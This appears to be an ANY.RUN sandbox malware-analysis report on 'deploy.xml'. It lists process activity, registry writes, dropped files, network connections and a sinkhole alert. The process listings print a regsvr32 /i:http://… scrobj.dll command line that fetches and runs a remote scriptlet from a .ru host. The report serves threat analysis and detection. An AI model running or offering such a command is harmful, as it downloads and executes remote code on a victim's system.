download:

deploy.xml

Full analysis: https://app.any.run/tasks/35577e30-5afe-4d8a-a945-5091d616b6fd
Verdict: Malicious activity
Analysis date: September 05, 2023, 03:07:26
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
sinkhole
Indicators:
MIME: inode/x-empty
File info: empty
MD5:

D41D8CD98F00B204E9800998ECF8427E

SHA1:

DA39A3EE5E6B4B0D3255BFEF95601890AFD80709

SHA256:

E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855

SSDEEP:

3::

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Registers / Runs the DLL via REGSVR32.EXE

      • cmd.exe (PID: 1600)

  • SUSPICIOUS

    • Reads the Internet Settings

      • regsvr32.exe (PID: 3516)
      • regsvr32.exe (PID: 1184)

  • INFO

    • Creates files or folders in the user directory

      • regsvr32.exe (PID: 3516)
      • regsvr32.exe (PID: 1184)

    • Checks proxy server information

      • regsvr32.exe (PID: 1184)
      • regsvr32.exe (PID: 3516)

    • Manual execution by a user

      • cmd.exe (PID: 1600)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
3
Malicious processes
0
Suspicious processes
0

Behavior graph

Click at the process to see the details
start regsvr32.exe cmd.exe no specs regsvr32.exe

Process information

PID
CMD
Path
Indicators
Parent process
1184regsvr32.exe /s /n /u /i:http://server1.39slxu3bw.ru/deploy.xml scrobj.dllC:\Windows\System32\regsvr32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
1600"C:\Windows\system32\cmd.exe" C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
3516"C:\Windows\System32\regsvr32.exe" /s /n /u /i:http://server1.39slxu3bw.ru/deploy.xml scrobj.dllC:\Windows\System32\regsvr32.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
651
Read events
604
Write events
47
Delete events
0

Modification events

(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000004F010000090000000000000000000000000000000400000000000000C0E333BBEAB1D3010000000000000000000000000100000002000000C0A8016B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FCC67766-6201-4AD1-A6B8-2F4553C93D47}
Operation:writeName:WpadDecisionReason
Value:
1
(PID) Process:(3516) regsvr32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FCC67766-6201-4AD1-A6B8-2F4553C93D47}
Operation:writeName:WpadDecisionTime
Value:
D2DB4820A6DFD901
Executable files
0
Suspicious files
0
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
1184regsvr32.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\TTWMBLJ1.txttext
MD5:99C1F8166EA0F1167ACE125EA90F0C5B
SHA256:09322EF810D27D8254A0B4C9B4FC3C0C955E9005722ECC016CF9455CCFE018F3
3516regsvr32.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\HWRHT8P3.txttext
MD5:B31509FAA24B538C1CB4B5BC851A2DA2
SHA256:F581161D2DECB2028132D5E4A10CF424132637FA8B11D6026739CC2A4ABD8752
3516regsvr32.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\DY46KHMU.txttext
MD5:6A7A89EB0B93D64948E20507327FABEB
SHA256:5B9066B07820E1DE79C6C0B4C841111041C49E9B9E63A0E5BED5382058340730
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
4
DNS requests
0
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3516
regsvr32.exe
GET
200
63.251.106.25:80
http://server1.39slxu3bw.ru/deploy.xml
US
binary
20 b
unknown
1184
regsvr32.exe
GET
200
63.251.106.25:80
http://server1.39slxu3bw.ru/deploy.xml
US
binary
20 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3516
regsvr32.exe
63.251.106.25:80
—
VOXEL-DOT-NET
US
malicious
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1184
regsvr32.exe
63.251.106.25:80
—
VOXEL-DOT-NET
US
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
3516
regsvr32.exe
A Network Trojan was detected
ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz
No debug info
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Reports
deploy.xml